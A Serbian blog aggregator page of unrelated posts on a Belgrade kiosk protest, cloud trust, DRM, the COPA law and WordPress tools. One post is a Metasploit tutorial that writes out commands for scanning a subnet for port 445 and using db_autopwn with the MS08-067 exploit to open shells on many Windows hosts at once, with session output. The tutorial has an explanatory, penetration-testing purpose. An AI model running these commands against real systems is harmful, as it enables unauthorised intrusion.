Planeta Srbija

Kao što sam obećao većina rantovanja na temu trenutnih dešavanja je prebačena na Twitter i FlossPro. Zato ovde nema tako puno teksta. Ali evo jednog kojim se priključujem hiljadama ljudi u Beogradu želji da sprečim da još jedno kultno mesto zauzme neki tatin sin a sve u cilju "evropskog prosperiteta". Tekst je trebalo da bude objavljen danas u "Politici" a pisao ga je Feđa Dimović iz BG Sindikata. Kako je kvalitetna cenzura dotičnog lista odradila svoje tekst nikada neće videti svetlost dana ukoliko ga ne prenesemo ovako. Loki je brend Beograda Malo ko u Beogradu nije probao čuvenu pljeskavicu kod «Lokija» u srcu starog kraja Dorćola. Lično preferiram njihov leskovački đevrek koji me savršeno otrezni na povratku iz celovečernjeg lumperaja. Moji sestrići i njihovi prijatelji iz Slovenije nikada ne propuste priliku da se propisno ožderu na uglu ulica Kralja Petra i Jevremove. Ušuškan život u Evropskoj uniji ne podrazumeva i kvalitetno roštiljanje na ćumuru, pa zato umeju da cene dobru pljesku ko što bi mi cenili da nam ne uzimaju krv na analizu kad treba da putujemo negde van zemlje. Sumnjam da bi bili oduševljeni kada bi čuli da je po odluci opštine Stari grad predviđeno rušenje njihovog omiljenog mesta u Beogradu. Međutim medijski mrak u Srbiji je dovoljno gust da  vesti ne mogu da se probiju ni do Terazija, a kamoli da dobace do obala Ljubljanice. Ako opštinari ostvare svoj rušilački naum, čekaće ih šok sledeći put kada budu ogladneli, pa umesto «Lokija» zatekli hipermarket ili neki uštogljeni fensi restoran u kome sve valja osim hrane u tanjiru. Uostalom Evropska unija je preplavljena luksuznim restoranima gde razno-razni Džejmi Oliveri pripremaju jaja od prepelice u sosu od neoplođenog jazavca, tako da strancima u Beogradu duša traži samo staru dobru srpsku pljeskavicu ili možda punjenu vešalicu! Sto se tiče Beograđana, a ponajviše nas lokal patrijota sa Dorćola, mi ćemo ponovo biti osakaćeni za još jedno od malih, ali veoma značajnih elemenata koji čine duh ovog grada koji polako zamire. Tranzicija se sprema da uzme još jednu žrtvu, a da nekog svog miljenika počasti sa atraktivnom građevinskom lokacijom u centru prestonice. Predhodno je taj miljenik morao da podmže nekog opštinskog ćatu lepom svoticom. Naravno! Posle će u novoj izbornoj kampanji ponovo biti priče o podsticanju malih i srednjih preduzeća. Nakon podele fotelja, ona se ruše kako bi napravila mesto državnim tajkunima i nihovom krupnom kapitalu. I u ovom slučaju potpuno deluje kao da je neko bacio svoju pohlepnu šapu na zemlju ispod «Lokija». Ni Dorćolci nisu od juče pa da sede skrštenih ruku dok im neko ruši dvadeset godina uspešnog rada. Mirni protestima i konstantnim dežurstvima oko kioska pokušavaju da ostvare ono što nisu mogli kroz institucije. Nakon čuvene  «revolucije», kada su nam ubili poslednju želju da se borimo za svoju budućnost, ljudi se polako bude i postaju svesni svojih prava. Odbrana Petog parka, Zvezdarske šume, a evo sada i «Lokija» kao takođe jedne prestoničke znamenitosti, samo potvrđuju da je narod u Srbiji sve spremniji da pokaže zube kad na njega startuju đonom. Međutim, od uzurpacije medija od strane vodećih političkih partija, i donošenja inkvizitorskog zakona o javnom informisanju, zvuci građanskog otpora teško da odjeknu dalje od prve linije fronta. Političari su stvorili uspešan metod koji primenjuju u svim sličnim situacijama. Dolaze ko vampiri usred noći, sa bagerima i telesnom gardom. Na brzinu ti popiju krv do poslednje kapi i posle toga opet mrak. Nemaš kome da se žališ, nema medija da o tome izveštavaju. Danas to može biti «Loki», sutra neko drugo malo preduzeće ili radnja koja se zatekla na putu burazersko-kulovske verzije globalizacije koju sprovode ovdašnji moćnici. Opravdanja koja nam daju su slična onima koje su davali revolveraši na divljem zapadu kada su proterivali sitne farmere sa njihovih rančeva jer je na njima bila predviđena izgradnja železnice. Što bi reko Rambo Amadeus na koncertu za Zvezdarsku šumu: «Oni nisu nikakva građevinska mafija. To su samo prosti, primitivni ljudi koji se stide svog porjekla». Možda je to i glavni razlog zašto ti ljudi koji iskreno mrze Beograd, uništavaju sve njegove simbole i znamenja. Zanemaruje se činjenica da se odlazak kod «Lokija» preporučuje i u mnogim evropskim štampanim turističkim vodičima, rame uz rame sa nezaobilaznim Exitom, Gučom i Bijerfestom. Svake godine sve je manje kafana i starih dobrih mesta koja oslikavaju dušu ovog grada. Ono što se svuda u svetu ljubomorno čuva i sa ponosom prikazuje turistima, kod nas je samo još jedna tačka u nečijem prljavom urbanističkom planu. Brojni su argumenti protiv rušenja «Lokija» na Dorćolu. Kao prvo, dvadeset porodica će ostati bez sredstava za život, jer će njihovim hraniteljima srušiti radno mesto.  Kao drugo, jedan očigledni brend Beograda, koji traje već dvadeset godina, će biti nepovratno uništen i ko zna šta će biti izgrađeno na njegovom mestu!? Sumnjam da će se ova vlast sažaliti nad bilo čijom sudbinom, kad znamo da su u stanju da otpuste i po nekoliko hiljada ljudi a da ne trepnu. Takođe nisam sigurna da oni išta znaju o brendiranju Srbije. Setimo se samo da su nam Slovenci i Makedonci maznuli i zaštitili ajvar, Nemci prisvojili šljivovicu, a Hrvati bacili oko na čvarke. Za to vreme je turistička organizacija RS snimala promotivni spot o Srbiji u kome su s ponosno prikazivane crkve u Rumuniji. Bez obzira na sve, odbrana «Lokija» se nastavlja, a krug ljudi koji je podržavaju je svakoga dana sve širi. Građani se organizuju, povezuju i međusobno podržavaju, što je veoma važno u situaciji kad nam država ne pruža nikakvu zaštitu. Nije suvišno spomenuti da zemlja na kojoj se nalazi popularna pljeskavdzinica ima starog vlasnika, koji je pismeno saglasan da na njoj ostane «Loki» dok god mu ona ne bude jednog dana vraćena. Takođe, peticiju protiv rušenja je potpisalo nekoliko hiljada građana, a podrška je stigla od brojnih javnih ličnosti. Što se mene tiče, nikada ne bi ni ogrnuo bilo koji stranački dres, ali bih zato rado nosio majcu na kojoj piše «Loki je brend Beograda».

Dosta dugo nisam pisao ništa na srpskom. Za to su najviše odgovorni nebulozni komentari vezani za tekstove koje sam pisao o Facebooku. Ne, neću vas naučiti kako da kradete lozinke… niko vas to neće naučiti. Dođavola. Elem, reših da malo piskaram na srpskom i da dotaknem neke domaće teme. (eng. speaking visitors… proceed, nothing to see… internal Serbian stuff…) Već neko vreme mi se motaju po glavi neki tekstovi. No, ono što bih danas voleo da pitam sve prisutne jeste: šta mislite o poverenju? Da se pojasnim. Većini vas je poznat termin "cloud computing". Do sada su valjda i zidovi naučili da tako nešto postoji. No, pretpostavljam da većina vas pojma nema šta je to. Svi o tome pričaju. To je u trendu i totalno IN. Kao i jedno milion stvari u poslednjih 10 godina. Opustite se, proći će. Sve je to od ovog sveta. Dakle, kompjuteri u oblacima, kako volim da kažem, jeste nešto tako matoro da pričati o revolucionarnom tehnološkom rešenju jeste u najmanju ruku smešno. Zašto? CC, kako ću dalje zvati ovaj hit, je ništa drugo nego modernizovana verzija "time sharing" sistema iz šezdesetih. Stari model deljenog procesorskog vremena je bio popularan jer su računari u to vreme bili jako skupi. Kasnije je otišao u istoriju kada su personalni računari postali popularni i jeftini. Dakle, svi danas govore o CC. Svi koriste CC. Nema tu ničeg lošeg. Svi koriste Facebook, svi koriste Twitter i ko zna šta još ne. A šta je sa bezbednošću? Ne, neću paranoisati opet. Ovo nas vraća na ono moje pitanje od ranije. Šta mislite o poverenju? Shvatimo, koliko god se bilo kod od nas trudio da ima bezbedan računar uvek će postojati neka rupa. Faktički, kompletan naš svakodnevni digitalni život počiva na poverenju koje poklanjamo nekoma. Da li je to proizvođač hardvera, firma koja je proizvela operativni sistem koji koristite ili naš Internet provajder… sve se svodi na isto. Zbog prvih možemo da izugibimo podatke, drugi mogu da budu krivi što su nas napali virusi ili nam je neko ukrao podatke, a treći mogu da prate šta radimo i da te informacije daju na upotrebu nekom trećem licu. Dakle, svakog dana mi verujemo nekome. Za ove prve baš i nemamo rešenje sem da redovno radimo backup… a opet, tu je i proizvođač medija koji koristimo za čuvanje tih podataka. Za ove druge imamo rešenje… možemo da koristimo nešto bezbednije. Za ove treće… ima rešenja i za to, napisaću možda kasnije kako njih da zaobiđete. No, sve u svemu poverenje je ključna reč. Dobro, a sada se vratimo na CC. Dakle, šta je ovde drugačije od bilo čega do sada. Bilo koja firma koja pruža CC usluge je samo još jedan faktor u svakodnevnoj igri poverenja. Umesto da sami brinemo o bezbednosti sistema koji koristimo mi prepuštamo tu brigu nekome tamo. I to je nešto sa čime moramo da živimo, zar ne? I onda, da se po poslednji put vratim na pitanje - šta mislite o poverenju? Mislim da danas skoro svako ima sajt ili dva. Hosting je posao u cvatu u Srbiji… a ja sam vrlo srećan što sam na vreme pobegao sa te livade… dok još nije potpuno procvetala. Dakle, kakvi su vaši utisci kada je u pitanju poverenje koje morate da imate u odnosu sa svojim provajderima različitih usluga na Internetu? Kakve garantije domaći provajderi nude da nećete preko noći ostati bez svojih podataka? Da li ste potpisali ugovore sa njima ili ste samo po navici kliknuli na "Slažem se" u online formularu (dok ste bili oduševljeni kako je procedura kupovine brza i sjajna)? Danas je vrlo kišan dan i eto došlo mi da malo mračim.

Nekada davno, u vremena skoro zaboravljena, kada bi neko hteo da ozbiljno ugrozi neki sistem na Mreži morao bi sam da nađe propust i da napiše eksploit za isti. Za one manje upućene, eksploit je skripta ili program koji napada poznati propust u nekom programu. Pretpostavimo da naša žrtva na svom serveru ima, recimo, FTP server verzije 1.2.3. Ta verzija je zastarela i svi već znaju da se u njoj nalazi propust koji omogućava manje ili više zlonamernim napadačima da uđu na sistem bez pravile provere lozinke. Da bi to zaista radilo potrebno je uspostaviti vezu sa FTP serverom i poslati mu neke komande od kojih će ovaj dobiti epileptični napad i otvoriti vam svoje dveri. Eksploit je programičić koji radi baš to. Prisan je za specifičan progam i, obično, specifičnu verziju tog programa. Sve što radi kada se pokrene jeste izvršavanje malicioznog koda. Dakle, u skoro zaboravljena davna vremena, mlađani haker je morao sam da napiše eksploit. Morao je zapravo da upotrebi mozak kako bi dobio pristup sistemu. Danas… hmm… danas su stvari drugačije. Voleo bih da vas upoznam sa Metasploit projektom. U pitanju je fenomenalan sistem za pisanje eksploita svih vrsta koji u sebi donosi fenomenalnu biblioteku već postojećih eksploita. Kao što naslov kaže - Point. Click. Root. Izaberete žrtvu, kliknete na eksploit koji vas zanima i… dobijete root. Dobro, nije baš tako jednostavno ali se svodi na to. Posebno kada znamo da dobar deo sistema na Internetu čine ne baš ažurirani serveri. "Neće niko nas" je sjajna logika za sigurno uništenje.Šta je zapravo Metasploit? Jedna od mojih omiljenih alatki. Pošto mi je deo posla i tzv. Penetration testiranje Metasploit je jedna od alatki bez koje bi mi posao bio daleko komplikovaniji. Što ne znači da već nije. Dakle, Metasploit je program pisan u Ruby programskom jeziku a sadrži komponente pisane u C i ASM-u. Njegova osnovna svrha je da programerima donese razvojno okruženje za pisanje eksploita i drugih bezbednosnih alatki. Njegov osnovi sistem podrazumeva postojeću biblioteku eksploita koje je moguće konfigurisati po potrebi. Potom se eoksploit izvršava na ciljani server. Ukoliko se sve završi uspešno korisnik dobija pristup sistemu koji je napao. Primer: Upešno izveden napad na VNC server koji se nalazi na Windows 2000 serveru.A sada tema dana - masovna eksploatacija za idiote Ne znam zašto ali kada god vidim neki od naslova "… for dummies" to prevedem kao "… za idiote". Najnovija verzija Metasploita 3.2 donosi jednu sjajnu novinu. Zamislite da se nalazite u situaciji kada treba napasti veći broj sistema. Da, znam… naporno je kliktati i napadati jedan po jedan. Težak je hakerski posao. E pa dragi moji hakeri, novi Metasploit donosi rešenje za bol u vašem zglobu. Mogućnost istovremenog napada većeg broja sistema. Kao primer će nam poslužiti izvršavanje eksploita MS08-067 na port 445 koji je otvoren na većem broju hostova koji se pak nalaze u  C klasi adresa. Za početak pokrenite msfconsole na svojoj BSD ili GNU/Linux mašini. Potrebni su vam SQLite3 gem za Ruby kao i novija verzija Nmap skenera. Kada se Metasploit (msf) komandna linija pojavi učitajte sqlite3 drajver:msf > load db_sqlite3 [*] Successfully loaded plugin: db_sqlite3Zatim ćemo upotrebiti db_create komandu za pokretanje nove SQLite3 baze podataka i povezivanje iste na Metasploit sistem: msf > db_create [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/.msf3/sqlite3.db Kako bismo ubrzali testiranje upotrebićemo db_nmap komandu sa veoma ograničenim nizom komandi. Cilj nam je da nađemo sve mašine kojima ja otvoren port 445 na ciljanoj podmreži:msf > db_nmap -sS -PS445 -p445 -n -T Aggressive AAA.BBB.CCC.0/24 Konačno, pokrećemo db_autopwn komandu sa -e opcijom za eksploataciju, -p opcijom da odredimo ciljani port, -b opcijom za dobijanje shell-a i -m opcijom za pokretanje svih modula sa "ms08_067" stringom u svom imenu:msf > db_autopwn -e -p -b -m ms08_067 Kada se ova komanda izvrši možemo izlistati sve aktivne veze koje smo uspeli da ostvarimo:msf > sessions -l Active sessions =============== Id Description Tunnel – ———– —— 1 Command shell AAA.BBB.CCC.11 -> AAA.BBB.CCC.86 Upotrebimo session -i SID kako bismo se povezali na ciljani sistem: msf > sessions -i 1 [*] Starting interaction with 1… Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.C:\WINDOWS\system32> Voila! Nekada davno je sve ovo bilo zapravo zabavno. A sada…

Nova adresa sajta. Kao što sam u prethodnom tekstu naveo, doneo sam odluku da promenim adresu sajta. Obrazložio sam i zašto. Sada je vreme da se vratim pisanju. Čekao sam nekoliko dana kako bi se RSS linkovi na nekim planetoidima ažurirali. Koliko sam uspeo da vidim promena je urađena tako da se sada mogu vratiti bitnim stvarima… paranoisanju. Uzgred, pre dva dana je bio jako važan dan. Sem što je bio petak 13. baš tog dana je UNIX vreme iznosilo 1234567890. Toliko je prošlo od 1.1.1970. Lepa godišnjica. Ah, da. Na kioscima se u četvrtak pojavio i novi broj Dilana Doga. Odlična epizoda - "Dva života Drim". Verujem da će epizoda posebno biti interesantna fanovima koji vole Sklavijeve priče o paklu. A sada… nazad na paranoisanje.

Никола је пре неколико дана направио тзв. „social bookmarking“ додатак за Блогер који омогућава дељење занимљивих станица на Укусно!. Ових дана ми је затребало нешто слично за WordPress уз додатак дугменцета за линке.рс. Искористио сам одличан додатак Sociable (који даје валидан XHTML 1.1 кôд, што ми је било пресудно за избор), локализовао га на српски језик и додао поменута два дугменцета (обзиром да је прилагођени Sociable Ukusno! мало застарео).

И то сада изгледа овако:

Sociable поставке на српском

Прилагођену свежу верзију можете преузети одавде:  Sociable Serbian (1)

I dok je ceo svet prihvatio činjenicu da je DRM jedna izuzetno besmislena stvar, te su kompanije poput Apple i Amazona svoju muziku prebacile na servise koji nemaju zaštitu od kopiranja kompanija, Microsoft ovih dana radi nešto baš suprotno. Naime, Microsoft je svetu prikazao svoj novi servis - MSN Mobile Music (MMM). Koje su karakteristike nove usluge? MMM pre svega zaključava pesme za uređaj sa kog su preuzete. Dakle, nema kopiranja. MMM takođe ne ostavlja mogućnost prebacivanja muzike na novi telefon kada se "podnovite". I ne samo to, cena pesme je daleko viša nego kod drugih servisa iste vrste. Glavni čovek njihovog tima za mobilne aplikacije iz UK dao intervju za PC Pro. Jedno od pitanja je bilo: Ako kupim ove pesme preko vašeg servisa - i one ostaju zaključane na mom telefonu - šta se dešava kada podnovim telefon za nekih 6 meseci? Odgovor: Pa, mislim da znate odgovor na to pitanje.

I dok je ceo svet prihvatio činjenicu da je DRM jedna izuzetno besmislena stvar, te su kompanije poput Apple i Amazona svoju muziku prebacile na servise koji nemaju zaštitu od kopiranja kompanija, Microsoft ovih dana radi nešto baš suprotno. Naime, Microsoft je svetu prikazao svoj novi servis - MSN Mobile Music (MMM). Koje su karakteristike nove usluge? MMM pre svega zaključava pesme za uređaj sa kog su preuzete. Dakle, nema kopiranja. MMM takođe ne ostavlja mogućnost prebacivanja muzike na novi telefon kada se "podnovite". I ne samo to, cena pesme je daleko viša nego kod drugih servisa iste vrste. Glavni čovek njihovog tima za mobilne aplikacije iz UK dao intervju za PC Pro. Jedno od pitanja je bilo: Ako kupim ove pesme preko vašeg servisa - i one ostaju zaključane na mom telefonu - šta se dešava kada podnovim telefon za nekih 6 meseci? Odgovor: Pa, mislim da znate odgovor na to pitanje.

Federalna vlast u SAD vec poduže radi na tome da se sloboda govora na Internetu na neki način ograniči. U početku je to bio CDA (the Communications Decency Act) koji je jako brzo proglašen neustavnim. Onda je došao novi zakon - COPA (the Child Online Protection Act). Oba zakona stvorena pod izgovorom da se na Internetu zaštite deca. I mada podržavam zaštitu dece na svim mogućim mestima malo mi je teško da prihvatim kada se deca koriste kao izgovor za suzbijanje slobode govora. COPA je skakutao po sudovima nekoliko godina da bi na kraju završio i pred Vrhovnim sudom - dva puta. Pomenuti sud ga je vratio na niže sudove oba puta. Danas ga je apelacioni sud opet oborio a Vrhovni sud je odbio da uopšte sasluša slučaj. Prevedeno, COPA je mrtav koliko jedan zakon može biti mrtav. Ovo predstavlja veliku pobedu za slobodu govora online. Da li se nas tiču zakoni koje donosi vlast SAD? Mislim da smo do sada svi shvatili da nas se itekako tiču. Posebno kada je u pitanju Internet. Kao što već rekoh, podržavam borbu protiv zloupotrebe dece. Ali kao što svaki časan cilj može biti upotrebljen za najgore moguće stvari takav je slučaj i sa COPA zakonom i svim sličnim zakonskim rešenjima. Mislim da je daleko pametnije novac i vreme uložiti u edukaciju dece kako bi sama znala kako da se ponašaju u digitalnom svetu i čega/koga da se čuvaju. Daleko bolje rešenje od zabrane govora svima svakako. No, kako to obično ide svuda pa i u SAD, političari nikada neće videti gde leži pravo rešenje već će doneti neki novi COPA zakon. Recimo,  DOPA – the Deleting Online Predators Act. Lakše je donositi zabrane nego nego novac koji se troši na to uložiti u obrazovanje, zar ne?

Federalna vlast u SAD vec poduže radi na tome da se sloboda govora na Internetu na neki način ograniči. U početku je to bio CDA (the Communications Decency Act) koji je jako brzo proglašen neustavnim. Onda je došao novi zakon - COPA (the Child Online Protection Act). Oba zakona stvorena pod izgovorom da se na Internetu zaštite deca. I mada podržavam zaštitu dece na svim mogućim mestima malo mi je teško da prihvatim kada se deca koriste kao izgovor za suzbijanje slobode govora. COPA je skakutao po sudovima nekoliko godina da bi na kraju završio i pred Vrhovnim sudom - dva puta. Pomenuti sud ga je vratio na niže sudove oba puta. Danas ga je apelacioni sud opet oborio a Vrhovni sud je odbio da uopšte sasluša slučaj. Prevedeno, COPA je mrtav koliko jedan zakon može biti mrtav. Ovo predstavlja veliku pobedu za slobodu govora online. Da li se nas tiču zakoni koje donosi vlast SAD? Mislim da smo do sada svi shvatili da nas se itekako tiču. Posebno kada je u pitanju Internet. Kao što već rekoh, podržavam borbu protiv zloupotrebe dece. Ali kao što svaki časan cilj može biti upotrebljen za najgore moguće stvari takav je slučaj i sa COPA zakonom i svim sličnim zakonskim rešenjima. Mislim da je daleko pametnije novac i vreme uložiti u edukaciju dece kako bi sama znala kako da se ponašaju u digitalnom svetu i čega/koga da se čuvaju. Daleko bolje rešenje od zabrane govora svima svakako. No, kako to obično ide svuda pa i u SAD, političari nikada neće videti gde leži pravo rešenje već će doneti neki novi COPA zakon. Recimo,  DOPA – the Deleting Online Predators Act. Lakše je donositi zabrane nego nego novac koji se troši na to uložiti u obrazovanje, zar ne?

Милан Вујаклија пише:

респондирати (лат. respondere) одговарати, одговорити, дати одговор, давати одговор слагати се, одударати се, бити налик на одговарати (дужности) бити дорастао, моћи се мерити са.

респонзиван (нлат. responsivus) који даје одговор, кој иодговара.

Чему ово? У новије време често наилазим на особе које толико држе до своје интелектуалности на мрежи свих мрежа да настоје користити „фенси“ изразе како би звучали паметније (к’о политичари). И тако веома често мислежи на брзину одзива софтвера, одн. на хитрост, воле да употребе термин „респонсиван“ или „респонзиван“ (али базирајући свој термина на енглеском /repsonse/).

За све оне са јефтинијим улазницама савет: пар мање познатих речи у вашој бесмисленој беседи неће код саговорника створити слику о вама као интелигентном и елоквентном говорнику, већ пре о џиберу који је тог јутра пронашао пар нових речи у Вујаклији.

©2008 Александар Урошевић за блог „Записи“ под BY-NC-SA CC лиценцом. Нема коментара

Валкнут (Valknut) је графички клијент за размену података „један-на-један“ протоколом DC. Изграђен је на Qt графичкој библиотеци и тренутно је доступан у верзији 0.3.14 (Qt3) и 0.4.0 (Qt4). Моју рецензију верзије 0.3.7 можете да прочитате у архиви „Света компјутера“.

(...)прочитајте остатак записа

©2008 Александар Урошевић за блог „Записи“ под BY-NC-SA CC лиценцом. Један коментар

Обавештавам све кориснике (било старе, нове или будуће) да је OOoTranslit (симболича верзија 0.4.0 RC1, без функционалних измена осим прилагођавања структуре новој пројектној страници) добио своју OOo Extensions страницу пројекта на адреси http://extensions.services.openoffice.org/project/oootranslit

Ово је следећи корак ка поједностављивању ажурирања већ иснталираног додатка на последњу доступну верзију, а истовремено ће додатно помоћи у популаризацији OpenOffice.org и самој OOoTranslit додатка на територији Србије и суседних земаља.

©2008 Александар Урошевић за блог „Записи“ под BY-NC-SA CC лиценцом. Нема коментара

Видео сам јуче после неких двадесетак минута о објављивању да је после неколико одлагања пуштена стабилна верзија WordPress 2.5, али ме је мрзело да одмах обавим миграцију, па сам то оставио за неки други пут…

…а тај други пут је ево управо прошао Довукао сам WordPress локализован на српски језик, побрисао неких 500 порука које нису прошле Akismet проверу, оптимизовао табеле базе, ручно направио резервну копију базе као и резервну копију пар мојих додатака, пребацио тему на подраумевани Кјубрик, искључио све додатке а укључио и активирао Maintenance mode. Онда сам обрисао доиректоријуме wp-admin и wp-includes, спаковао на сервер садржај пакета нове верзије софтвера и кренуо да одрадим надоградњу базе.

Међутим, ту налетим на патку: Maintenance mode изгледа није компатибилан са новом верзијом па шта год да покушам, увек добијам страницу са обавештењем о ажурирању записа. И куд ћу, шта ћу, обришем лепо директоријум овог додатка са сервера и обавим надоградњу базе на 2.5, ажурирам All in One SEO Pack и Google XML Sitemaps на нову верзију, изаберем Garland тему назад и ево кренем да све то лепо запишем.

Обзиром да сам безазленост миграције по базу обавио синоћ на локалној инсталацији, први поглед на контролну таблу одаје утисак боље и лепше организације. Још само да се навикнем Приметно је брже генерисање страница и занимљивих нових опција попут оних у писању и уређивању записа за уметање мултимедијалног садржаја. За почетак ми недостаје то што Simple Tags не ради на новој верзији како треба, али ћу се стрпети.

Закључак гласи да вреди обавити надоградњу. До овог тренутка WordPress 2.5 преузет је 75.980 пута. Па ако сам погрешио ја, бар знам да нисам једини

Написао Александар Урошевић за блог Записи. Слободна употреба садржаја у складу са BY-CC-SA 3.0 лиценцом.

Одавно планирам да уградим могућност избора писма на коме ће се приказати Записи. Тако нешто сам имао на старом блогу док сам користио bBlog машину, али то не ради за WordPress. Зато сам тај smarty модификатор прерадио у текстуризер за WP и сместио додатак са изборником писма у десни мени.

(more…)

Написао Александар Урошевић за блог Записи. Слободна употреба садржаја у складу са BY-CC-SA 3.0 лиценцом.

Claws Mail је напредни мултиплатформски (подржани оперативни системи: GNU/Linux, FreeBSD, Solaris, Mac OS X, Windows и Maemo) клијент за електронску пошту и дискусионе групе (nntp/news). Мали, брз, функционалан, са великим бројем напредних функција (филтери, додаци, покретање спољних конзолних програма, адресар и др). Пошто је дијалог за подешавања програма веома комплексан, т.ј. (прегледно) натрпан гомилом опција интуитивно груписаних у смислене секције, неке поставке које утичу на изглед и понашање програма остале су „скривене“ и не налазе се на овом дијалогу већ се морају ручно подесити у конфигурационој датотеци програма.

Да би се не тако мали број ових скривеих опција подесио ручно, треба знати која опција чему служи, па је очекивано да и за њих постоји нека алатка за фино штеловање „ситних цревца“. И, постоји. Зове се (more…)

Написао Александар Урошевић за блог Записи. Слободна употреба садржаја у складу са BY-CC-SA 3.0 лиценцом.

За послове интерне и спољне комуникације на послу, као и рад на локализацији слободног софтвера, блоговању и другим „дактилографским“ пословима имам потребу да користим ћирилични распоред тастатуре. Једино што ми сво ово време смета јесте немогућност коришћења пречица са тастатуре када је активан ћирилични распоред. (more…)

Аутор Александар Урошевић за блог Записи.Слободна употреба садржаја у складу са BY-CC-SA 3.0 лиценцом.Веза до овог записа (овај запис није коментарисан) [ del.icio.us | Stumble Upon | Digg ] Блогови који су повезани са овим записом на Technorati Архива осталих записа из категорије GNU/Linux, Рачунари.

У нешто ужем обиму, али истом тиражу, после „тајм шифта“ од тридесетак дана или који више, читаоцима је представљен трећи овогодишњи двоброј (34/35) GNUzilla магазина за октобар и новембар.

Моје огледало mirror::urosevic.net сада броји преузимања примерака који су смештени у RapidShare директоријум због проблема са простором на мом хостингу за Записе и друге личне ствари, о чему сам раније већ писао.

Аутор Александар Урошевић за блог Записи.Слободна употреба садржаја у складу са BY-CC-SA 3.0 лиценцом.Веза до овог записа (овај запис није коментарисан) [ del.icio.us | Stumble Upon | Digg ] Блогови који су повезани са овим записом на Technorati Архива осталих записа из категорије GNU/Linux, GNUzilla, Веб, Пројекти.